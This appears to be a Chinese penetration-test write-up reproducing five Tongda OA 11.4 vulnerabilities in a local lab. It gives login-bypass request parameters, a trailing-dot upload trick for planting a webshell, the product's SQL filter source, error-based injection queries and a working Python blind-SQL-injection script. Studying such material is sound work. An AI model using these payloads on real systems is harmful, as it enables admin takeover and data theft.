前言:

O A 版本:通达OA系统11.4

测试环境:本地

渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User(POC)、PHPstorm、蚁剑

1. 存在漏洞

  1. 前台任意用户登录漏洞

  1. 前台未授权访问漏洞

  1. 管理后台文件上传漏洞

  1. 后台SQL注入漏洞

  1. 文件包含getshell

根据提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:

/ispirit/login_code.php、/ispirit/login_code_check.php、/general/login_code_scan.php、/general/index.php

通达OA源码使用zend5加密,利用解密工具SeayDzend解密上述四个文件后分析源码。

  1. /ispirit/login_code.php :

该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。

  1. /general/login_code_scan.php:

在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm 。

  1. /ispirit/login_code_check.php:

这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过Post 传入的uid等关键信息。

这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询。

随后将查询的信息直接写入session中,通过这一步, session中包含的就是管理员的身份信息。

3.1.2 手工抓包复现:

抓首页的包进行更改,访问/ispirit/login_code.php,通过返回包获取codeuid

  1. 使用POST方式访问/general/login_code_scan.php,提交相关参数,其中codeuid改为上一步中返回的值。

payload:

uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin

使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。

经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。

3.1.3 POC自动获取复现:

在python环境下运行POC,返回cookie

(POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User)

替换浏览器存储的cookie,访问http://your-ip/general/成功以管理员身份登录OA系统。

未更改cookie前:

更改cookie后:

3.2 前台未授权访问漏洞

备注:需要后台有账户在线时使用

  1. 访问http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN,说明目前没有人在线,需要等待有人登录的时候再尝试。

  1. 在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。

  1. 再次访问http://your-ip/general/,成功进入系统。

3.3 管理后台文件上传漏洞

登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录

  1. 点击系统管理 → 附件管理 → 添加存储目录,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach,不在网站目录MYOA -> webroot下)

注:

此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。

选择组织 → 管理员 → 附件上传,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。

根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt

在虚拟机中查看该目录,上传成功

利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过

根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php,蚁剑连接,成功getshell

3.4 后台SQL注入漏洞

备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。

漏洞位置:/general/hr/manage/query/delete_cascade.php

如果$condition_cascade不为空就把里面的\'替换为',然后执行。

原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理

addslashes()作用

我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。

我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。

我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。

sql_injection()函数如下所示。

function sql_injection($db_string)
{$clean = "";$error = "";$old_pos = 0;$pos = -1;$db_string = str_replace(" ", " ", $db_string);while (true) {$pos = strpos($db_string, "'", $pos + 1);if ($pos === false) {break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (true) {$pos1 = strpos($db_string, "'", $pos + 1);$pos2 = strpos($db_string, "\\", $pos + 1);if ($pos1 === false) {break;}else {if (($pos2 == false) || ($pos1 < $pos2)) {$pos = $pos1;break;}}$pos = $pos2 + 1;}$clean .= "\$s\$";$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));$fail = false;if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("联合查询");}else {if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {$fail = true;$error = _("注释代码");}else {if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "sleep";}else {if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "benchmark";}else {if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("Load文件");}else {if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "cast";}else {if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ord";}else {if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ascii";}else {if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "extractvalue";}else {if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "updatexml";}else {if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("生成文件");}else {if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("exp");}else {if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {$fail = true;$error = "set file_priv";}}}}}}}}}}}}}if ($fail) {echo _("不安全的SQL语句:") . $error . "<br />";echo td_htmlspecialchars($db_string);exit();}else {return $db_string;}
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substr、if等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示,1=1返回成功,1=2则报错,说明存在盲注

老规矩,直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):high = 132low = 32mid = (high+low)//2while high > low:char = flag+chr(mid)headers = {"cookie": urllib.parse.unquote(cookies)}target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \"0x28 END))".format(sql, i, hex(mid))s = requests.get(url=target, headers=headers)if '信息删除成功' in s.text:low = mid+1else:high = midmid = (high+low)//2if mid == 33 or mid ==132:exit(0)flag += chr(mid-1)print("[+] "+flag)

修改一下脚本中的url、cookie、和要执行的SQL语句即可

3.5 文件包含getshell

  1. Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。

  1. 蚁剑连接shell成功验证。

通达OA V11.4漏洞 -代码审计相关推荐

  1. 通达OA v11.7后台SQL注入

    文章目录 漏洞描述 漏洞影响 漏洞分析 漏洞描述 通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器. 漏洞影响 通达OA <= v11.7 漏洞分析 下载通达o ...

  2. 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞

    0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...

  3. 通达OA v11.7 在线用户登录漏洞附自写poc

    文章目录 二.漏洞影响 三.漏洞复现 四.漏洞利用POC 五.总结 本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法,及自己写的poc. # 一.漏洞描述 通达OA v11.7 中webro ...

  4. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

  5. 通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现

    通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现 一.前言 通达OA,Office Anywhere的首字母,是通达信科旗下的品牌.通达OA v11.7 中存在某接口查询在线用户 ...

  6. 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境

    转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...

  7. jmeter file upload 变量_通达OA上传漏洞之变量覆盖分析

    作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...

  8. html 怎么让tr的css覆盖td的_通达OA上传漏洞之变量覆盖分析

    作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...

  9. 2022-10-10(通达OA SQL注入漏洞)

    文章目录 漏洞描述 环境搭建 漏洞利用 id参数存在sql注入 starttime参数 orderby参数 id参数存在sql注入 修复建议 参考 漏洞描述 通达OA 11.5版本,存在sql注入 环 ...

最新文章

  1. 十六进制字符转化为十进制数字
  2. mysql 备份锁表_mysql 不停机 短时间锁表 备份 主备同步 新增备份机器
  3. OpenGL之渲染大小球自转和公转的效果
  4. react-native run-android的输出
  5. 用fputc()函数以字符串形式写入字符到磁盘文件
  6. 三次握手wireshark抓包分析,成功握手和失败握手
  7. php模拟远程提交get 、post 实例函数
  8. GYM 101875 2018 USP-ICMC
  9. 程序员需要鼓励师吗?我觉得写代码的时候更需要这个!
  10. 扩充你的工具箱 - 大行文件的处理
  11. 斯坦福大学深度学习公开课cs231n学习笔记(2)线性分类器及最优化
  12. MATLAB的图像显示函数imshow()详解
  13. 浏览器与输入法——用户入口的争夺
  14. 你有什么道理后悔没有早点知道?
  15. 2019QS世界大学学科排名重磅发布!
  16. html语法在线检测,HTML语法检测
  17. 从gRPC的重试策略说起
  18. 哈工大刘挺:自然语言处理中的可解释性问题!
  19. CISCO交换机配置命令及释义
  20. rj45插座尺寸图_带灯RJ45插座接口定义及使用说明

热门文章

  1. J2ME单机游戏在国内已经走到了尽头
  2. arduino利用电位器仿真编码器控制舵机转动
  3. jdk,环境容量等解释
  4. 基于HSV空间的光影检测
  5. java was stared but returned exit code=13问题解决
  6. 在x86服务器上 搭建基于docker的arm64程序编译和运行环境
  7. element布局容器大小_element中el-container容器与div布局区分详解
  8. android程序员周记,程序员实习周记100篇
  9. MAX7221数码管驱动的多种探索
  10. 前端 js 邮箱正则判断 (支持多个邮箱判断)